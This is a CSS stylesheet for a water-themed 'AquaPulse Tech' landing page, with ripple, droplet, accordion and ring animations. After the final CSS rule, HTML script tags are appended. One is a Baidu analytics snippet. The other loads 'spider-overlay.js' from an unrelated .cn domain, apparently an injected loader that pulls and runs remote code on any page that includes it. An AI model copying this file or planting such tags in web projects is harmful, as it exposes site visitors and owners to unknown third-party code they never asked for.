/* ============================================================
   AquaPulse Tech - Landing Page 0040
   Design: Aquatic fresh theme with cyan/teal water droplet ripple
   ============================================================ */

/* ---------- BASE ---------- */
html {
    scroll-behavior: smooth;
}

body {
    overflow-x: hidden;
}

/* ---------- NAVBAR SCROLL EFFECT ---------- */
#navbar.scrolled {
    background: rgba(6, 182, 212, 0.95);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    box-shadow: 0 4px 30px rgba(6, 182, 212, 0.3);
}

#navbar.scrolled .container-custom {
    /* handled by tailwind */
}

/* ---------- HERO RIPPLE CIRCLES ---------- */
.ripple-container {
    overflow: hidden;
}

.ripple-circle {
    position: absolute;
    border-radius: 50%;
    border: 2px solid rgba(255, 255, 255, 0.15);
    animation: rippleExpand 8s ease-out infinite;
}

.ripple-1 {
    width: 400px;
    height: 400px;
    top: -100px;
    right: -80px;
    animation-delay: 0s;
}

.ripple-2 {
    width: 300px;
    height: 300px;
    top: 50%;
    left: -100px;
    animation-delay: 2s;
}

.ripple-3 {
    width: 500px;
    height: 500px;
    bottom: -150px;
    right: 20%;
    animation-delay: 4s;
}

.ripple-4 {
    width: 250px;
    height: 250px;
    top: 20%;
    left: 40%;
    animation-delay: 6s;
}

@keyframes rippleExpand {
    0% {
        transform: scale(0.8);
        opacity: 0.5;
    }
    50% {
        transform: scale(1.2);
        opacity: 0.15;
    }
    100% {
        transform: scale(0.8);
        opacity: 0.5;
    }
}

/* ---------- DROPLET PULSE ---------- */
.droplet-pulse {
    animation: dropletPulse 2s ease-in-out infinite;
}

@keyframes dropletPulse {
    0%, 100% {
        transform: scale(1);
        box-shadow: 0 0 0 0 rgba(34, 211, 238, 0.4);
    }
    50% {
        transform: scale(1.15);
        box-shadow: 0 0 0 12px rgba(34, 211, 238, 0);
    }
}

/* ---------- FLOATING ANIMATION ---------- */
@keyframes float {
    0%, 100% { transform: translateY(0); }
    50% { transform: translateY(-8px); }
}

.animate-float {
    animation: float 3s ease-in-out infinite;
}

/* ---------- FEATURE CARD RIPPLE BORDER ---------- */
.feature-card {
    transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1);
}

.feature-card:hover {
    transform: translateY(-6px);
    border-color: rgba(6, 182, 212, 0.4);
    box-shadow: 0 20px 60px rgba(6, 182, 212, 0.12);
}

.feature-ripple {
    background: radial-gradient(circle at 50% 0%, rgba(6, 182, 212, 0.06) 0%, transparent 70%);
}

/* Droplet splash icon effect on hover */
.feature-card .fa-chevron-right {
    transition: transform 0.3s ease;
}

.feature-card:hover .fa-chevron-right {
    transform: translateX(4px);
}

/* ---------- STATS COUNTER ---------- */
.stat-number {
    font-variant-numeric: tabular-nums;
    transition: all 0.3s ease;
}

/* Wave separator between stats on large screens */
@media (min-width: 1024px) {
    .stats-grid > *:not(:last-child)::after {
        content: '';
        position: absolute;
        right: 0;
        top: 20%;
        height: 60%;
        width: 1px;
        background: rgba(255, 255, 255, 0.15);
    }
}

/* ---------- DROPLET RATING SHAPE ---------- */
.droplet-rating {
    border-radius: 50% 50% 50% 50% / 30% 30% 70% 70%;
    transform: rotate(-15deg);
}

.droplet-rating i {
    transform: rotate(15deg);
}

/* ---------- FAQ ACCORDION ---------- */
.faq-btn {
    cursor: pointer;
    transition: background-color 0.3s ease;
}

.faq-btn:hover {
    background-color: rgba(6, 182, 212, 0.05);
}

.faq-btn[aria-expanded="true"] .faq-icon {
    transform: rotate(180deg);
    background-color: rgba(6, 182, 212, 0.2);
}

.faq-content {
    animation: faqSlideDown 0.4s cubic-bezier(0.4, 0, 0.2, 1);
}

@keyframes faqSlideDown {
    from {
        opacity: 0;
        max-height: 0;
        transform: translateY(-10px);
    }
    to {
        opacity: 1;
        max-height: 500px;
        transform: translateY(0);
    }
}

/* ---------- CTA RIPPLE RINGS ---------- */
.cta-rings {
    display: flex;
    align-items: center;
    justify-content: center;
}

.cta-ring {
    position: absolute;
    border-radius: 50%;
    border: 1px solid rgba(255, 255, 255, 0.2);
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    animation: ctaRingPulse 3s ease-out infinite;
}

.cta-ring-1 {
    width: 220px;
    height: 220px;
    animation-delay: 0s;
}

.cta-ring-2 {
    width: 340px;
    height: 340px;
    animation-delay: 1s;
}

.cta-ring-3 {
    width: 460px;
    height: 460px;
    animation-delay: 2s;
}

@keyframes ctaRingPulse {
    0% {
        transform: translate(-50%, -50%) scale(1);
        opacity: 0.4;
    }
    100% {
        transform: translate(-50%, -50%) scale(1.4);
        opacity: 0;
    }
}

/* ---------- MOBILE MENU TRANSITION ---------- */
#mobile-menu {
    transition: max-height 0.4s cubic-bezier(0.4, 0, 0.2, 1), opacity 0.3s ease;
    max-height: 0;
    opacity: 0;
}

#mobile-menu.show {
    max-height: 500px;
    opacity: 1;
}

/* ---------- SCROLL REVEAL (optional base) ---------- */
.scroll-reveal {
    opacity: 0;
    transform: translateY(30px);
    transition: opacity 0.8s ease, transform 0.8s ease;
}

.scroll-reveal.visible {
    opacity: 1;
    transform: translateY(0);
}

/* ---------- RESPONSIVE ADJUSTMENTS ---------- */
@media (max-width: 768px) {
    .ripple-1 { width: 200px; height: 200px; top: -50px; right: -40px; }
    .ripple-2 { width: 150px; height: 150px; top: 40%; left: -60px; }
    .ripple-3 { width: 250px; height: 250px; bottom: -80px; right: 10%; }
    .ripple-4 { width: 120px; height: 120px; top: 15%; left: 30%; }

    .cta-ring-1 { width: 140px; height: 140px; }
    .cta-ring-2 { width: 220px; height: 220px; }
    .cta-ring-3 { width: 300px; height: 300px; }
}

/* ---------- FOCUS OUTLINE ---------- */
a:focus-visible,
button:focus-visible {
    outline: 2px solid rgba(6, 182, 212, 0.8);
    outline-offset: 2px;
    border-radius: 4px;
}

/* ---------- SELECTION ---------- */
::selection {
    background: rgba(6, 182, 212, 0.3);
    color: #164e63;
}

/* ---------- SMOOTH CARD SHADOWS ---------- */
.feature-card,
.bg-white {
    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.04), 0 1px 2px rgba(0, 0, 0, 0.03);
}

/* ---------- LINK UNDERLINE ANIMATION ---------- */
footer a:not(.no-underline) {
    position: relative;
    text-decoration: none;
}

footer a:not(.no-underline)::after {
    content: '';
    position: absolute;
    bottom: -2px;
    left: 0;
    width: 0;
    height: 1px;
    background: currentColor;
    transition: width 0.3s ease;
}

footer a:hover::after {
    width: 100%;
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>